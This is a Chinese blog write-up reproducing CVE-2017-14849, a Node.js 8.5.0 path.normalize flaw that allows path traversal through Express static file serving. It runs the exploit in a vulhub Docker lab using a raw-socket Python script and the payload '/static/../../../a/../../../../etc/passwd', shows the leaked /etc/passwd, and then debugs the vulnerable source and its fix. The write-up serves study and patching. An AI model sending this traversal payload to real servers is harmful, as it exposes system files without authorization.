vulhub:node-CVE-2017-14849漏洞复现和浅析

CVE-2017-14849是Node.js 8.5.0 版本中路径检查时出现的安全漏洞。参考github中vulhub项目的readme:

原因是 Node.js 8.5.0 对目录进行normalize操作时出现了逻辑错误,导致向上层跳跃的时候(如../../../../../../etc/passwd),在中间位置增加foo/../(如../../../foo/../../../../etc/passwd),即可使normalize返回/etc/passwd,但实际上正确结果应该是../../../../../../etc/passwd

express这类web框架,通常会提供了静态文件服务器的功能,这些功能依赖于normalize函数。比如,express在判断path是否超出静态目录范围时,就用到了normalize函数,上述BUG导致normalize函数返回错误结果导致绕过了检查,造成任意文件读取漏洞。

这篇写烂了,水平不足。

复现

跳转到vulhub-master/node/CVE-2017-14849目录,执行:

1
2
docker compose build
docker compose up -d

访问127.0.0.1:3000,正常运行,且存在静态文件服务器:

运行界面

静态文件

由于浏览器和python的requests库似乎都会对url进行规范化,导致../被处理(有点坑),所以这里采用python的socket库和burp suite复现:

首先尝试static/../../../../../../../etc/passwd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
HOST = ""
PORT = 3000
import socket
request = (
"GET /static/../../../../../../../etc/passwd HTTP/1.1\r\n"
"Host: ip:3000\r\n"
"Accept: */*\r\n"
"Accept-Language: en\r\n"
"User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)\r\n"
"Connection: close\r\n"
"\r\n"
)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))
s.sendall(request.encode())
data = s.recv(4096)
print(data.decode())

返回结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
HTTP/1.1 404 Not Found
X-Powered-By: Express
Content-Security-Policy: default-src 'self'
X-Content-Type-Options: nosniff
Content-Type: text/html; charset=utf-8
Content-Length: 177
Date: Sat, 30 Sep 2023 12:22:41 GMT
Connection: close

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot GET /static/../../../../../../../etc/passwd</pre>
</body>
</html>

改为/static/../../../a/../../../../etc/passwd以后,返回结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
HTTP/1.1 200 OK
X-Powered-By: Express
Accept-Ranges: bytes
Cache-Control: public, max-age=0
Last-Modified: Wed, 13 Sep 2017 20:05:31 GMT
ETag: W/"4d4-15e7cd8b6f8"
Content-Type: application/octet-stream
Content-Length: 1236
Date: Sat, 30 Sep 2023 12:29:01 GMT
Connection: close

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false
node:x:1000:1000::/home/node:/bin/bash

结果

成功泄露了/etc/passwd文件中的数据。

原理分析

代码分析

express.static() 是 Express.js 框架提供的一个中间件函数,用于提供静态文件(例如图片、CSS 文件和JavaScript 文件)。它基于 serve-static 模块。使用 express.static() 函数,你可以方便地为你的 Express 应用程序提供静态资源。你只需指定一个目录作为资源的根目录,然后 Express 会自动为其中的文件提供服务。这个函数的参数引入了path.join():

static()

path.join中使用了normalize函数:

path

我们先用docker exec -it {id} bash进入容器终端进行交互,可以发现normalize函数确实存在漏洞:

node

动态调试

本来想用node.js远程调试的,但是没办法给path模块里面的函数打断点,跳转也老是跳到一些不认识的函数里面。没办法,只能下载Node.js 8.5版本的源码,放到Windows里面,发现也存在这个漏洞。

1
2
3
4
const path = require('./path');

const normalizedPath = path.normalize("../../../foo/../../../../etc/passwd");
console.log(normalizedPath);

输出:

1
etc\passwd

那就可以在Windows环境下进行调试了,好好好。

打断点开始调试,最后定位到436行的normalizeStringWin32函数:

436

tail

可以发现运行完成以后,tail变量变成了etc\\passwd

函数开头定义了一些变量以后,39行对path中的字符进行遍历:

观察每次for循环res的变化:

返回值在遍历到foo/../以后,就逐渐偏离正轨了。后面每遍历一个../,结果就会少一个../

为了方便调试,我们尝试把输入改成../a/../../b:

docker中的结果

无漏洞版本的运行结果

应该也能触发漏洞。

之后继续下断点,调试。

主要内容还是在那个for循环中,直接跳到res..\\a时,此时i5

i=5时对应的字符是.code = path.charCodeAt(i),故code为46,dots变为1:

i=6时情况相同,dots变为2。

i=7时,code为47,由于还没有到根目录,所以进入了50行的if语句中:

此时函数检测到了../,于是找到 res 中的最后一个反斜杠(\)并将其后的部分切除,从而移除路径中的最后一个部分:

结果是..\a变成了..

遍历下一个../时,即i=10,此时isAboveRoot仍为假(实际应为真,因为res..),导致进入了第70行的分支,res直接变成了''

所以最终结果为a

当输入为../../../b时,由于isAboveRoot一直为真,所以无法进入50行中的if分支中。

漏洞修复

Node.js 8.6中,对第50行的if判断进行了修改:

8.6

新函数中引入了一个新的变量 lastSegmentLength,它的目的是跟踪最后一部分的长度,即 res 中的最后一个斜杠(\)之后的字符数。i=10时,res..lastSegmentLength为2,if条件不成立。